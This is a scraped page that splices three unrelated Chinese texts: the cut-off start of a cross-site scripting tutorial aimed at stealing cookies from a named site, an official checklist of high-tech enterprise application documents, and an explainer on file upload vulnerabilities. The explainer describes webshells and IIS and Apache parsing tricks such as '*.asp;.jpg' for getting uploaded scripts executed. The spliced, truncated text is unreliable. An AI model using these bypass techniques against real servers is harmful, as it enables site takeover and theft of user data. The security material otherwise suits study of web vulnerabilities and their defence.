【利用方式】 下面我们将通过具体例子来演示上面的各种危害,这样应该更能说明问题,而且更易于理解。为了条理更清晰一些,我们将针对每种危害做一个实验。 为了做好这些实验,我们需要一个抓包软件,我使用的是Iris,当然你可以选择其它的软件,比如NetXray什么的。至于具体的使用方法,请参考相关帮助或手册。 另外,需要明白的一点就是:只要服务器返回用户提交的信息,就可能存在跨站脚本执行漏洞。 好的,一切就绪,我们开始做实验!:) 实验一:获取其他用户Cookie中的敏感信息 我们以国内著名的同学录站点https://www.wendangku.net/doc/1a11597899.html,为例来说明一下,请按照下面的步骤进行: 1.进入首页https://www.wendangku.net/doc/1a11597899.html,/ 2.输入用户名“
附件2 申报材料清单及网络附件资料上传要求 一、申报材料清单及装订顺序 企业纸质申报材料须按照本清单要求制作总目录、分类目录顺序胶状成册,不同类别最好用彩页制作目录区分。 1.总目录(除申请书外,其他内容需与网络申报中附件清单一致)。 2.《高新技术企业认定申请书》(在线打印并签名、加盖企业公章)。 3.证明企业依法成立的《营业执照》等相关注册登记证件的复印件,包括企业营业执照副本、组织机构代码证、税务登记证(三证合一的提供营业执照副本)。 4.知识产权相关材料: (1)企业获得的授权知识产权证书及最近一次缴费证明复印件,授权通知书及缴费收据复印件; (2)通过受让、受赠、并购取得的知识产权需提供相关主管部门出具的变更证明; (3)知识产权有多个权属人时,需提供其他权属人同意该企业使用本知识产权申报高新技术企业的声明,所有权属人需加盖公章(参考格式附后); —1—
(4)反映技术水平的证明材料(如专利的摘要等); (5)参与制定标准情况及相关证明材料; (6)企业发生名称变更的,知识产权名称未及时变更的须提供相关证明或变更手续。 5.经具有符合《工作指引》相关条件的中介机构出具的企业近三个会计年度(2016年、2017年、2018年)研究开发费用(实际年限不足三年的按实际经营年限,下同)、近一个会计年度(2018年)高新技术产品(服务)收入专项审计或鉴证报告。研发费用专项鉴证报告需对企业研发费用核算事项进行披露。 6.经具有资质的中介机构鉴证的企业近三个会计年度(2016年、2017年、2018年)的财务会计报告(包括会计报表、会计报表附注和财务情况说明书); 7.对企业高新技术产品(服务)发挥核心支持作用的技术属于《国家重点支持的高新技术领域》的情况说明(具体到三级技术领域)。 企业高新技术产品(服务)的关键技术和技术指标的具体说明,相关的生产批文、认证认可和资质证书、产品质量检验报告等材料。 8.科研项目立项清单(参考格式附后)及证明相关材料(已验收或结题项目需附验收或结题报告)。立项报告资料量过大、不便装入材料,可只附项目摘要或情况说明及图片佐 —2—
文件上传漏洞的原理、危害及防御 一.什么是文件上传漏洞 Web应用程序通常会有文件上传的功能,例如在BBS发布图片,在个人网站发布ZIP压缩包,在办公平台发布DOC文件等,只要Web应用程序允许上传文件,就有可能存在文件上传漏洞. 什么样的网站会有文件上传漏洞? 大部分文件上传漏洞的产生是因为Web应用程序没有对上传文件的格式进行严格过滤,还有一部分是攻击者通过Web服务器的解析漏洞来突破Web应用程序的防护,后面我们会讲到一些常见的解析漏洞,最后还有一些不常见的其他漏洞,如IIS PUT漏洞等. 二.文件上传漏洞的危害 上传漏洞与SQL注入或XSS相比,其风险更大,如果Web应用程序存在上传漏洞,攻击者甚至可以直接上传一个webshell到服务器上. 什么是webshell? webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门.黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的. 顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限.webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限.由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具.以上这段话源自百度百科对webshell的解释,如果对此感兴趣,可以搜索:一句话木马. 三.常见的解析漏洞 1.IIS解析漏洞 IIS6.0在解析文件时存在以下两个解析漏洞. ①当建立*.asa、*.asp格式的文件夹时,其目录下的任意文件豆浆被IIS当作asp文件来解析. ②在IIS6.0下,分号后面的扩展名不会被解析,也就是说当文件为*.asp;.jpg 时,IIS6.0同样会以ASP脚本来执行. 2.Apache解析漏洞 在Apache 1.x和Apache 2.x中存在解析漏洞,但他们与IIS解析漏洞不同. Apache在解析文件时有一个规则:当碰到不认识的扩展名时,将会从后向前解析,直到碰到认识的扩展名位置,如果都不认识,则会暴露其源码.比如: 1.php.rar.xx.aa Apache首先会解析aa扩展名,如果不认识则接着解析xx扩展名,这样一直遍历到认识的扩展名为止,然后再将其进行解析. 3.PHP CGI解析漏洞 在PHP的配置文件中有一个关键的选项: cgi.fi: x_pathinfo.这个选项在某些版本是